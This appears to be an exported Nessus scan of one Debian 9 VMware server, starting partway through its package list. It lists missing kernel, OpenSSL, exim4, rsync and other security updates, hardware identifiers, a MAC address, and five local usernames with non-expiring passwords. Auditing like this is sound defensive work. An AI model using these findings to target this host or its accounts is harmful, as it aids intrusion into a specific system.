postgresql-contrib-9.6 9.6.6-0+deb9u1 amd64 additional facilities for PostgreSQL + ii powermgmt-base 1.31+nmu1 all Common utils and configs for power management + ii procmail 3.22-25+deb9u1 amd64 Versatile e-mail processor + ii procps 2:3.3.12-3 amd64 /proc file system utilities + ii psmisc 22.21-2.1+b2 amd64 utilities that use the proc file system + ii python 2.7.13-2 amd64 interactive high-level object-oriented language (default version) + ii python-apt 1.4.0~beta3 amd64 Python interface to libapt-pkg + ii python-apt-common 1.4.0~beta3 all Python interface to libapt-pkg (locales) + ii python-bs4 4.5.3-1 all error-tolerant HTML parser for Python + ii python-chardet 2.3.0-2 all universal character encoding detector for Python2 + ii python-html5lib 0.999999999-1 all HTML parser/tokenizer based on the WHATWG HTML5 specification + ii python-lxml 3.7.1-1 amd64 pythonic binding for the libxml2 and libxslt libraries + ii python-minimal 2.7.13-2 amd64 minimal subset of the Python language (default version) + ii python-pkg-resources 33.1.1-1 all Package Discovery and Resource Access using pkg_resources + ii python-six 1.10.0-3 all Python 2 and 3 compatibility library (Python 2 interface) + ii python-webencodings 0.5-2 all Python implementation of the WHATWG Encoding standard + ii python-yaml 3.12-1 amd64 YAML parser and emitter for Python + ii python2.7 2.7.13-2 amd64 Interactive high-level object-oriented language (version 2.7) + ii python2.7-minimal 2.7.13-2 amd64 Minimal subset of the Python language (version 2.7) + ii python3 3.5.3-1 amd64 interactive high-level object-oriented language (default python3 version) + ii python3-apt 1.4.0~beta3 amd64 Python 3 interface to libapt-pkg + ii python3-chardet 2.3.0-2 all universal character encoding detector for Python3 + ii python3-debian 0.1.30 all Python 3 modules to work with Debian-related data formats + ii python3-debianbts 2.6.1 all Python interface to Debian's Bug Tracking System + ii python3-httplib2 0.9.2+dfsg-1 all comprehensive HTTP client library written for Python3 + ii python3-minimal 3.5.3-1 amd64 minimal subset of the Python language (default python3 version) + ii python3-pkg-resources 33.1.1-1 all Package Discovery and Resource Access using pkg_resources + ii python3-pycurl 7.43.0-2 amd64 Python bindings to libcurl (Python 3) + ii python3-pysimplesoap 1.16-2 all simple and lightweight SOAP Library (Python 3) + ii python3-reportbug 7.1.7 all Python modules for interacting with bug tracking systems + ii python3-requests 2.12.4-1 all elegant and simple HTTP library for Python3, built for human beings + ii python3-six 1.10.0-3 all Python 2 and 3 compatibility library (Python 3 interface) + ii python3-urllib3 1.19.1-1 all HTTP library with thread-safe connection pooling for Python3 + ii python3.5 3.5.3-1 amd64 Interactive high-level object-oriented language (version 3.5) + ii python3.5-minimal 3.5.3-1 amd64 Minimal subset of the Python language (version 3.5) + ii rake 10.5.0-2 all ruby make-like utility + ii readline-common 7.0-3 all GNU readline and history libraries, common files + ii rename 0.20-4 all Perl extension for renaming multiple files + ii reportbug 7.1.7 all reports bugs in the Debian distribution + ii rsync 3.1.2-1 amd64 fast, versatile, remote (and local) file-copying tool + ii rsyslog 8.24.0-1 amd64 reliable system and kernel logging daemon + ii ruby 1:2.3.3 amd64 Interpreter of object-oriented scripting language Ruby (default version) + ii ruby-did-you-mean 1.0.0-2 all smart error messages for Ruby > 2.3 + ii ruby-minitest 5.9.0-1 all Ruby test tools supporting TDD, BDD, mocking, and benchmarking + ii ruby-net-telnet 0.1.1-2 all telnet client library + ii ruby-power-assert 0.3.0-1 all library showing values of variables and method calls in an expression + ii ruby-test-unit 3.1.7-2 all unit testing framework for Ruby + ii ruby2.3 2.3.3-1+deb9u2 amd64 Interpreter of object-oriented scripting language Ruby + ii rubygems-integration 1.11 all integration of Debian Ruby packages with Rubygems + ii runit 2.1.2-9.2 amd64 system-wide service supervision + ii screen 4.5.0-6 amd64 terminal multiplexer with VT100/ANSI terminal emulation + ii sed 4.4-1 amd64 GNU stream editor for filtering/transforming text + ii sensible-utils 0.0.9 all Utilities for sensible alternative selection + ii sgml-base 1.29 all SGML infrastructure and SGML catalog file support + ii shared-mime-info 1.8-1 amd64 FreeDesktop.org shared MIME database and spec + ii ssl-cert 1.0.39 all simple debconf wrapper for OpenSSL + ii sudo 1.8.19p1-2.1 amd64 Provide limited super user privileges to specific users + ii sysstat 11.4.3-2 amd64 system performance tools for Linux + ii systemd 232-25+deb9u1 amd64 system and service manager + ii systemd-sysv 232-25+deb9u1 amd64 system and service manager - SysV links + ii sysvinit-utils 2.88dsf-59.9 amd64 System-V-like utilities + ii tar 1.29b-1.1 amd64 GNU version of the tar archiving utility + ii task-english 3.39 all General English environment + ii task-ssh-server 3.39 all SSH server + ii tasksel 3.39 all tool for selecting tasks for installation on Debian systems + ii tasksel-data 3.39 all official tasks used for installation of Debian systems + ii tcpd 7.6.q-26 amd64 Wietse Venema's TCP wrapper utilities + ii tcpdump 4.9.2-1~deb9u1 amd64 command-line network traffic analyzer + ii telnet 0.17-41 amd64 basic telnet client + ii tigervnc-viewer 1.7.0+dfsg-7 amd64 Virtual network computing client for X + ii tmux 2.3-4 amd64 terminal multiplexer + ii traceroute 1:2.1.0-2 amd64 Traces the route taken by packets over an IPv4/IPv6 network + ii tzdata 2017c-0+deb9u1 all time zone and daylight-saving time data + ii ucf 3.0036 all Update Configuration File(s): preserve user changes to config files + ii udev 232-25+deb9u1 amd64 /dev/ and hotplug management daemon + ii unzip 6.0-21 amd64 De-archiver for .zip files + ii util-linux 2.29.2-1 amd64 miscellaneous system utilities + ii util-linux-locales 2.29.2-1 all locales files for util-linux + ii uuid-dev 2.29.2-1 amd64 Universally Unique ID library - headers and static libraries + ii vim 2:8.0.0197-4+deb9u1 amd64 Vi IMproved - enhanced vi editor + ii vim-common 2:8.0.0197-4+deb9u1 all Vi IMproved - Common files + ii vim-nox 2:8.0.0197-4+deb9u1 amd64 Vi IMproved - enhanced vi editor - with scripting languages support + ii vim-runtime 2:8.0.0197-4+deb9u1 all Vi IMproved - Runtime files + ii vim-tiny 2:8.0.0197-4+deb9u1 amd64 Vi IMproved - enhanced vi editor - compact version + ii w3m 0.5.3-34 amd64 WWW browsable pager with excellent tables/frames support + ii wamerican 7.1-1 all American English dictionary words for /usr/share/dict + ii wget 1.18-5+deb9u1 amd64 retrieves files from the web + ii whiptail 0.52.19-1+b1 amd64 Displays user-friendly dialog boxes from shell scripts + ii x11-common 1:7.7+19 all X Window System (X.Org) infrastructure + ii x11-utils 7.7+3+b1 amd64 X11 utilities + ii xauth 1:1.0.9-1+b2 amd64 X authentication utility + ii xdg-user-dirs 0.15-2+b1 amd64 tool to manage well known user directories + ii xfonts-base 1:1.0.4+nmu1 all standard fonts for X + ii xfonts-encodings 1:1.0.4-2 all Encodings for X.Org fonts + ii xfonts-utils 1:7.7+4 amd64 X Window System font utility programs + ii xkb-data 2.19-1+deb9u1 all X Keyboard Extension (XKB) configuration data + ii xml-core 0.17 all XML infrastructure and XML catalog file support + ii xtightvncviewer 1:1.3.9-9 amd64 virtual network computing client software for X + ii xxd 2:8.0.0197-4+deb9u1 amd64 tool to make (or reverse) a hex dump + ii xz-utils 5.2.2-1.2+b1 amd64 XZ-format compression utilities + ii zerofree 1.0.4-1 amd64 zero free blocks from ext2, ext3 and ext4 file-systems + ii zip 3.0-11+b1 amd64 Archiver for .zip files + ii zlib1g 1:1.2.8.dfsg-5 amd64 compression library - runtime + ii zlib1g-dev 1:1.2.8.dfsg-5 amd64 compression library - development + rc bridge-utils 1.5-13+deb9u1 amd64 Utilities for configuring the Linux Ethernet bridge + rc ferm 2.3-2 all maintain and setup complicated firewall rules + rc netscript-2.4 5.5.1 all Linux 2.4/2.6/3.x router/firewall/VM host network config system. + + + +unix +Nessus was able to retrieve information about the remote system's hardware, such as its processor type, by using the SMBIOS (aka DMI) interface. +dmi_proc_info.nasl +2016/02/25 +Processor Information (via DMI) +2010/04/06 +local +None +$Revision: 1.7 $ +n/a +Nessus was able to read information about the remote system's processor. + +Nessus detected 1 processor : + +Current Speed : 2133 MHz +Version : Intel(R) Xeon(R) CPU E7- 2830 @ 2.13GHz +Manufacturer : GenuineIntel +External Clock : Unknown +Status : Populated, Enabled +Family : Unknown +Type : Central Processor + + + +Using the SMBIOS (aka DMI) interface, it was possible to retrieve information about the remote system's memory devices, such as the total amount of installed memory. +dmi_RAM_info.nasl +2011/03/21 +Memory Information (via DMI) +2010/04/06 +local +None +$Revision: 1.2 $ +n/a +Information about the remote system's memory devices can be read. + +Total memory : 4096 MB + + +unix +Using the SMBIOS (aka DMI) interface, it was possible to retrieve information about the remote system's hardware, such as its product name and serial number. +dmi_system_info.nasl +2016/08/17 +System Information Enumeration (via DMI) +2009/01/12 +local +None +$Revision: 1.9 $ +n/a +Information about the remote system's hardware can be read. +Chassis Information + Serial Number : None + Version : N/A + Manufacturer : No Enclosure + Lock : Not Present + Type : Other + +System Information + Serial Number : VMware-42 31 07 74 c0 c0 be 67-af 1a 47 38 3d d3 db e7 + Version : None + Manufacturer : VMware, Inc. + Product Name : VMware Virtual Platform + Family : Not Specified + + + + +unix +Using the SMBIOS (aka DMI) interface, it was possible to get the BIOS vendor and version. +bios_get_info_ssh.nasl +2017/08/28 +BIOS version (SSH) +2008/09/08 +local +None +1.12 +N/A +The BIOS version could be read. +Version : 6.00 +Vendor : Phoenix Technologies LTD +Release Date : 04/05/2016 +UUID : 74073142-C0C0-67BE-AF1A-47383DD3DBE7 + + + +p-cpe:/a:debian:debian_linux:linux +cpe:/o:debian:debian_linux:9.0 +CVE-2017-1000407 +CVE-2017-1000410 +CVE-2017-16538 +CVE-2017-16644 +CVE-2017-16995 +CVE-2017-17448 +CVE-2017-17449 +CVE-2017-17450 +CVE-2017-17558 +CVE-2017-17712 +CVE-2017-17741 +CVE-2017-17805 +CVE-2017-17806 +CVE-2017-17807 +CVE-2017-17862 +CVE-2017-17863 +CVE-2017-17864 +CVE-2017-8824 +7.8 +CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H +7.2 +5.3 +CVSS2#E:U/RL:OF/RC:C +CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C +Several vulnerabilities have been discovered in the Linux kernel that may lead to a privilege escalation, denial of service or information leaks. + + - CVE-2017-8824 Mohamed Ghannam discovered that the DCCP implementation did not correctly manage resources when a socket is disconnected and reconnected, potentially leading to a use-after-free. A local user could use this for denial of service (crash or data corruption) or possibly for privilege escalation. On systems that do not already have the dccp module loaded, this can be mitigated by disabling it:echo >> /etc/modprobe.d/disable-dccp.conf install dccp false + + - CVE-2017-16538 Andrey Konovalov reported that the dvb-usb-lmedm04 media driver did not correctly handle some error conditions during initialisation. A physically present user with a specially designed USB device can use this to cause a denial of service (crash). + + - CVE-2017-16644 Andrey Konovalov reported that the hdpvr media driver did not correctly handle some error conditions during initialisation. A physically present user with a specially designed USB device can use this to cause a denial of service (crash). + + - CVE-2017-16995 Jann Horn discovered that the Extended BPF verifier did not correctly model the behaviour of 32-bit load instructions. A local user can use this for privilege escalation. + + - CVE-2017-17448 Kevin Cernekee discovered that the netfilter subsystem allowed users with the CAP_NET_ADMIN capability in any user namespace, not just the root namespace, to enable and disable connection tracking helpers. This could lead to denial of service, violation of network security policy, or have other impact. + + - CVE-2017-17449 Kevin Cernekee discovered that the netlink subsystem allowed users with the CAP_NET_ADMIN capability in any user namespace to monitor netlink traffic in all net namespaces, not just those owned by that user namespace. + This could lead to exposure of sensitive information. + + - CVE-2017-17450 Kevin Cernekee discovered that the xt_osf module allowed users with the CAP_NET_ADMIN capability in any user namespace to modify the global OS fingerprint list. + + - CVE-2017-17558 Andrey Konovalov reported that that USB core did not correctly handle some error conditions during initialisation. A physically present user with a specially designed USB device can use this to cause a denial of service (crash or memory corruption), or possibly for privilege escalation. + + - CVE-2017-17712 Mohamed Ghannam discovered a race condition in the IPv4 raw socket implementation. A local user could use this to obtain sensitive information from the kernel. + + - CVE-2017-17741 Dmitry Vyukov reported that the KVM implementation for x86 would over-read data from memory when emulating an MMIO write if the kvm_mmio tracepoint was enabled. A guest virtual machine might be able to use this to cause a denial of service (crash). + + - CVE-2017-17805 It was discovered that some implementations of the Salsa20 block cipher did not correctly handle zero-length input. A local user could use this to cause a denial of service (crash) or possibly have other security impact. + + - CVE-2017-17806 It was discovered that the HMAC implementation could be used with an underlying hash algorithm that requires a key, which was not intended. A local user could use this to cause a denial of service (crash or memory corruption), or possibly for privilege escalation. + + - CVE-2017-17807 Eric Biggers discovered that the KEYS subsystem lacked a check for write permission when adding keys to a process's default keyring. A local user could use this to cause a denial of service or to obtain sensitive information. + + - CVE-2017-17862 Alexei Starovoitov discovered that the Extended BPF verifier ignored unreachable code, even though it would still be processed by JIT compilers. This could possibly be used by local users for denial of service. It also increases the severity of bugs in determining unreachable code. + + - CVE-2017-17863 Jann Horn discovered that the Extended BPF verifier did not correctly model pointer arithmetic on the stack frame pointer. A local user can use this for privilege escalation. + + - CVE-2017-17864 Jann Horn discovered that the Extended BPF verifier could fail to detect pointer leaks from conditional code. A local user could use this to obtain sensitive information in order to exploit other vulnerabilities. + + - CVE-2017-1000407 Andrew Honig reported that the KVM implementation for Intel processors allowed direct access to host I/O port 0x80, which is not generally safe. On some systems this allows a guest VM to cause a denial of service (crash) of the host. + + - CVE-2017-1000410 Ben Seri reported that the Bluetooth subsystem did not correctly handle short EFS information elements in L2CAP messages. An attacker able to communicate over Bluetooth could use this to obtain sensitive information from the kernel. + +The various problems in the Extended BPF verifier can be mitigated by disabling use of Extended BPF by unprivileged users:sysctl kernel.unprivileged_bpf_disabled=1 + +Debian disables unprivileged user namespaces by default, but if they are enabled (via the kernel.unprivileged_userns_clone sysctl) then CVE-2017-17448 can be exploited by any local user. +4073 +false +No known exploits are available +debian_DSA-4073.nasl +171481 +2017/12/23 +2018/02/07 +Debian DSA-4073-1 : linux - security update +2017/12/26 +local +High +$Revision: 3.5 $ +https://security-tracker.debian.org/tracker/CVE-2017-8824 +https://security-tracker.debian.org/tracker/CVE-2017-16538 +https://security-tracker.debian.org/tracker/CVE-2017-16644 +https://security-tracker.debian.org/tracker/CVE-2017-16995 +https://security-tracker.debian.org/tracker/CVE-2017-17448 +https://security-tracker.debian.org/tracker/CVE-2017-17449 +https://security-tracker.debian.org/tracker/CVE-2017-17450 +https://security-tracker.debian.org/tracker/CVE-2017-17558 +https://security-tracker.debian.org/tracker/CVE-2017-17712 +https://security-tracker.debian.org/tracker/CVE-2017-17741 +https://security-tracker.debian.org/tracker/CVE-2017-17805 +https://security-tracker.debian.org/tracker/CVE-2017-17806 +https://security-tracker.debian.org/tracker/CVE-2017-17807 +https://security-tracker.debian.org/tracker/CVE-2017-17862 +https://security-tracker.debian.org/tracker/CVE-2017-17863 +https://security-tracker.debian.org/tracker/CVE-2017-17864 +https://security-tracker.debian.org/tracker/CVE-2017-1000407 +https://security-tracker.debian.org/tracker/CVE-2017-1000410 +https://security-tracker.debian.org/tracker/CVE-2017-17448 +https://security-tracker.debian.org/tracker/linux +https://packages.debian.org/source/stretch/linux +http://www.debian.org/security/2017/dsa-4073 +Upgrade the linux packages. + +For the stable distribution (stretch), these problems have been fixed in version 4.9.65-3+deb9u1. +The remote Debian host is missing a security-related update. +OSVDB:171481 +DSA:4073 + +Remote package installed : linux-compiler-gcc-6-x86_4.9.51-1 +Should be : linux-compiler-gcc-6-x86_4.9.65-3+deb9u1 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-3-amd64_4.9.65-3+deb9u1 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-3-common_4.9.65-3+deb9u1 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-4-amd64_4.9.65-3+deb9u1 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-4-common_4.9.65-3+deb9u1 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-5-amd64_4.9.65-3+deb9u1 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-5-common_4.9.65-3+deb9u1 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-3-amd64_4.9.65-3+deb9u1 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-4-amd64_4.9.65-3+deb9u1 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-5-amd64_4.9.65-3+deb9u1 +Remote package installed : linux-kbuild-4.9_4.9.51-1 +Should be : linux-kbuild-4.9_4.9.65-3+deb9u1 +Remote package installed : linux-libc-dev_4.9.51-1 +Should be : linux-libc-dev_4.9.65-3+deb9u1 + + + +p-cpe:/a:debian:debian_linux:libtasn1-6 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-10790 +CVE-2018-6003 +7.5 +CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H +5.0 +CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P +Two vulnerabilities were discovered in Libtasn1, a library to manage ASN.1 structures, allowing a remote attacker to cause a denial of service against an application using the Libtasn1 library. +4106 +debian_DSA-4106.nasl +2018/02/07 +2018/02/08 +Debian DSA-4106-1 : libtasn1-6 - security update +2018/02/08 +local +Medium +$Revision: 3.1 $ +http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=867398 +https://security-tracker.debian.org/tracker/libtasn1-6 +https://packages.debian.org/source/stretch/libtasn1-6 +http://www.debian.org/security/2018/dsa-4106 +Upgrade the libtasn1-6 packages. + +For the stable distribution (stretch), these problems have been fixed in version 4.10-1.1+deb9u1. +The remote Debian host is missing a security-related update. +DSA:4106 + +Remote package installed : libtasn1-6_4.10-1.1 +Should be : libtasn1-6_4.10-1.1+deb9u1 + + + +p-cpe:/a:debian:debian_linux:openssl1.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-3737 +CVE-2017-3738 +5.9 +CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N +4.3 +CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N +Multiple vulnerabilities have been discovered in OpenSSL, a Secure Sockets Layer toolkit. The Common Vulnerabilities and Exposures project identifies the following issues : + + - CVE-2017-3737 David Benjamin of Google reported that OpenSSL does not properly handle SSL_read() and SSL_write() while being invoked in an error state, causing data to be passed without being decrypted or encrypted directly from the SSL/TLS record layer. + + - CVE-2017-3738 It was discovered that OpenSSL contains an overflow bug in the AVX2 Montgomery multiplication procedure used in exponentiation with 1024-bit moduli. + +Details can be found in the upstream advisory: +https://www.openssl.org/news/secadv/20171207.txt +4065 +debian_DSA-4065.nasl +2017/12/17 +2018/01/29 +Debian DSA-4065-1 : openssl1.0 - security update +2017/12/18 +local +Medium +$Revision: 3.5 $ +https://security-tracker.debian.org/tracker/CVE-2017-3737 +https://security-tracker.debian.org/tracker/CVE-2017-3738 +https://www.openssl.org/news/secadv/20171207.txt +https://security-tracker.debian.org/tracker/openssl1.0 +https://packages.debian.org/source/stretch/openssl1.0 +http://www.debian.org/security/2017/dsa-4065 +Upgrade the openssl1.0 packages. + +For the stable distribution (stretch), these problems have been fixed in version 1.0.2l-2+deb9u2. +The remote Debian host is missing a security-related update. +DSA:4065 + +Remote package installed : libssl1.0.2_1.0.2l-2+deb9u1 +Should be : libssl1.0.2_1.0.2l-2+deb9u2 + + + +unix +Each ethernet MAC address starts with a 24-bit Organizationally Unique Identifier (OUI). These OUIs are registered by IEEE. +ethernet_manufacturer.nasl +2017/11/17 +Ethernet Card Manufacturer Detection +2009/02/19 +combined +None +$Revision: 1.12 $ +http://standards.ieee.org/faqs/regauth.html +http://www.nessus.org/u?794673b4 +n/a +The manufacturer can be identified from the Ethernet OUI. + +The following card manufacturers were identified : + +00:50:56:b1:64:78 : VMware, Inc. + + + +According to the MAC address of its network adapter, the remote host is a VMware virtual machine. +vmware_detect.nasl +2015/10/16 +VMware Virtual Machine Detection +2005/10/27 +combined +None +$Revision: 1.26 $ +Since it is physically accessible through the network, ensure that its configuration matches your organization's security policy. +The remote host is a VMware virtual machine. + +The remote host is a VMware virtual machine. + + + +p-cpe:/a:debian:debian_linux:exim4 +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2018-6789 +Meh Chang discovered a buffer overflow flaw in a utility function used in the SMTP listener of Exim, a mail transport agent. A remote attacker can take advantage of this flaw to cause a denial of service, or potentially the execution of arbitrary code via a specially crafted message. +4110 +debian_DSA-4110.nasl +2018/02/10 +2018/02/12 +Debian DSA-4110-1 : exim4 - security update +2018/02/12 +local +High +$Revision: 3.1 $ +http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=890000 +https://security-tracker.debian.org/tracker/exim4 +https://packages.debian.org/source/jessie/exim4 +https://packages.debian.org/source/stretch/exim4 +http://www.debian.org/security/2018/dsa-4110 +Upgrade the exim4 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 4.84.2-2+deb8u5. + +For the stable distribution (stretch), this problem has been fixed in version 4.89-2+deb9u3. +The remote Debian host is missing a security-related update. +DSA:4110 + +Remote package installed : exim4_4.89-2+deb9u2 +Should be : exim4_4.89-2+deb9u3 +Remote package installed : exim4-base_4.89-2+deb9u2 +Should be : exim4-base_4.89-2+deb9u3 +Remote package installed : exim4-config_4.89-2+deb9u2 +Should be : exim4-config_4.89-2+deb9u3 +Remote package installed : exim4-daemon-light_4.89-2+deb9u2 +Should be : exim4-daemon-light_4.89-2+deb9u3 + + + +p-cpe:/a:debian:debian_linux:gcc-6 +cpe:/o:debian:debian_linux:9.0 +This update doesn't fix a vulnerability in GCC itself, but instead provides support for building retpoline-enabled Linux kernel updates. +4121 +debian_DSA-4121.nasl +2018/02/22 +2018/02/23 +Debian DSA-4121-1 : gcc-6 - security update +2018/02/23 +local +High +$Revision: 3.1 $ +https://packages.debian.org/source/stretch/gcc-6 +http://www.debian.org/security/2018/dsa-4121 +Upgrade the gcc-6 packages. + +For the stable distribution (stretch), this problem has been fixed in version 6.3.0-18+deb9u1. +The remote Debian host is missing a security-related update. +DSA:4121 + +Remote package installed : cpp-6_6.3.0-18 +Should be : cpp-6_6.3.0-18+deb9u1 +Remote package installed : gcc-6_6.3.0-18 +Should be : gcc-6_6.3.0-18+deb9u1 +Remote package installed : gcc-6-base_6.3.0-18 +Should be : gcc-6-base_6.3.0-18+deb9u1 +Remote package installed : libasan3_6.3.0-18 +Should be : libasan3_6.3.0-18+deb9u1 +Remote package installed : libatomic1_6.3.0-18 +Should be : libatomic1_6.3.0-18+deb9u1 +Remote package installed : libcc1-0_6.3.0-18 +Should be : libcc1-0_6.3.0-18+deb9u1 +Remote package installed : libcilkrts5_6.3.0-18 +Should be : libcilkrts5_6.3.0-18+deb9u1 +Remote package installed : libgcc-6-dev_6.3.0-18 +Should be : libgcc-6-dev_6.3.0-18+deb9u1 +Remote package installed : libgfortran3_6.3.0-18 +Should be : libgfortran3_6.3.0-18+deb9u1 +Remote package installed : libgomp1_6.3.0-18 +Should be : libgomp1_6.3.0-18+deb9u1 +Remote package installed : libitm1_6.3.0-18 +Should be : libitm1_6.3.0-18+deb9u1 +Remote package installed : liblsan0_6.3.0-18 +Should be : liblsan0_6.3.0-18+deb9u1 +Remote package installed : libmpx2_6.3.0-18 +Should be : libmpx2_6.3.0-18+deb9u1 +Remote package installed : libquadmath0_6.3.0-18 +Should be : libquadmath0_6.3.0-18+deb9u1 +Remote package installed : libtsan0_6.3.0-18 +Should be : libtsan0_6.3.0-18+deb9u1 +Remote package installed : libubsan0_6.3.0-18 +Should be : libubsan0_6.3.0-18+deb9u1 + + + +Using the supplied credentials, Nessus was able to list local users that are enabled and whose passwords never expire. +localusers_pwexpiry.nasl +755 +2017/08/28 +Unix / Linux - Local Users Information : Passwords Never Expire +2015/05/10 +local +None +1.5 +Allow or require users to change their passwords regularly. +At least one local user has a password that never expires. +OSVDB:755 + +Nessus found the following unlocked users with passwords that do not expire : + - wholoch + - therres + - kuhnrap + - bpa + - rilliju + + + +p-cpe:/a:debian:debian_linux:rsync +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-16548 +CVE-2017-17433 +CVE-2017-17434 +9.8 +CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H +7.5 +CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P +Several vulnerabilities were discovered in rsync, a fast, versatile, remote (and local) file-copying tool, allowing a remote attacker to bypass intended access restrictions or cause a denial of service. +4068 +debian_DSA-4068.nasl +2017/12/17 +2018/01/29 +Debian DSA-4068-1 : rsync - security update +2017/12/18 +local +High +$Revision: 3.2 $ +http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=880954 +http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=883665 +http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=883667 +https://security-tracker.debian.org/tracker/rsync +https://packages.debian.org/source/jessie/rsync +https://packages.debian.org/source/stretch/rsync +http://www.debian.org/security/2017/dsa-4068 +Upgrade the rsync packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 3.1.1-3+deb8u1. + +For the stable distribution (stretch), these problems have been fixed in version 3.1.2-1+deb9u1. +The remote Debian host is missing a security-related update. +DSA:4068 + +Remote package installed : rsync_3.1.2-1 +Should be : rsync_3.1.2-1+deb9u1 + + + +unix +Nessus was able to enumerate MAC addresses by connecting to the remote host via SSH with the supplied credentials. +ifconfig_mac.nasl +2017/01/26 +Enumerate MAC Addresses via SSH +2008/06/30 +local +None +$Revision: 1.16 $ +Disable any unused interfaces. +Nessus was able to enumerate MAC addresses on the remote host. + +The following MAC address exists on the remote host : + + - 00:50:56:b1:64:78 (interface ens160) + + + +p-cpe:/a:debian:debian_linux:libvorbis +cpe:/o:debian:debian_linux:9.0 +CVE-2017-14632 +CVE-2017-14633 +9.8 +CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H +7.5 +CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P +Two vulnerabilities were discovered in the libraries of the Vorbis audio compression codec, which could result in denial of service or the execution of arbitrary code if a malformed media file is processed. +4113 +debian_DSA-4113.nasl +2018/02/14 +2018/02/16 +Debian DSA-4113-1 : libvorbis - security update +2018/02/16 +local +High +$Revision: 3.1 $ +https://security-tracker.debian.org/tracker/libvorbis +https://packages.debian.org/source/stretch/libvorbis +http://www.debian.org/security/2018/dsa-4113 +Upgrade the libvorbis packages. + +For the stable distribution (stretch), these problems have been fixed in version 1.3.5-4+deb9u1. +The remote Debian host is missing a security-related update. +DSA:4113 + +Remote package installed : libvorbis0a_1.3.5-4 +Should be : libvorbis0a_1.3.5-4+deb9u1 +Remote package installed : libvorbisenc2_1.3.5-4 +Should be : libvorbisenc2_1.3.5-4+deb9u1 + + + +p-cpe:/a:debian:debian_linux:sensible-utils +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-17512 +8.8 +CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H +6.8 +CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P +Gabriel Corona reported that sensible-browser from sensible-utils, a collection of small utilities used to sensibly select and spawn an appropriate browser, editor or pager, does not validate strings before launching the program specified by the BROWSER environment variable, potentially allowing a remote attacker to conduct argument-injection attacks if a user is tricked into processing a specially crafted URL. +4071 +debian_DSA-4071.nasl +2017/12/21 +2018/01/29 +Debian DSA-4071-1 : sensible-utils - security update +2017/12/26 +local +Medium +$Revision: 3.3 $ +http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=881767 +https://security-tracker.debian.org/tracker/sensible-utils +https://packages.debian.org/source/jessie/sensible-utils +https://packages.debian.org/source/stretch/sensible-utils +http://www.debian.org/security/2017/dsa-4071 +Upgrade the sensible-utils packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 0.0.9+deb8u1. + +For the stable distribution (stretch), this problem has been fixed in version 0.0.9+deb9u1. +The remote Debian host is missing a security-related update. +DSA:4071 + +Remote package installed : sensible-utils_0.0.9 +Should be : sensible-utils_0.0.9+deb9u1 + + + +p-cpe:/a:debian:debian_linux:linux +cpe:/o:debian:debian_linux:9.0 +CVE-2017-13166 +CVE-2017-5715 +CVE-2017-5754 +CVE-2018-5750 +7.8 +CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H +4.7 +CVSS2#AV:L/AC:M/Au:N/C:C/I:N/A:N +Several vulnerabilities have been discovered in the Linux kernel that may lead to a privilege escalation, denial of service or information leaks. + + - CVE-2017-5715 Multiple researchers have discovered a vulnerability in various processors supporting speculative execution, enabling an attacker controlling an unprivileged process to read memory from arbitrary addresses, including from the kernel and all other processes running on the system. + + This specific attack has been named Spectre variant 2 (branch target injection) and is mitigated in the Linux kernel for the Intel x86-64 architecture by using the 'retpoline' compiler feature which allows indirect branches to be isolated from speculative execution. + + - CVE-2017-5754 Multiple researchers have discovered a vulnerability in Intel processors, enabling an attacker controlling an unprivileged process to read memory from arbitrary addresses, including from the kernel and all other processes running on the system. + + This specific attack has been named Meltdown and is addressed in the Linux kernel on the powerpc/ppc64el architectures by flushing the L1 data cache on exit from kernel mode to user mode (or from hypervisor to kernel). + + This works on Power7, Power8 and Power9 processors. + + - CVE-2017-13166 A bug in the 32-bit compatibility layer of the v4l2 IOCTL handling code has been found. Memory protections ensuring user-provided buffers always point to userland memory were disabled, allowing destination address to be in kernel space. This bug could be exploited by an attacker to overwrite kernel memory from an unprivileged userland process, leading to privilege escalation. + + - CVE-2018-5750 An information leak has been found in the Linux kernel. + The acpi_smbus_hc_add() prints a kernel address in the kernel log at every boot, which could be used by an attacker on the system to defeat kernel ASLR. + 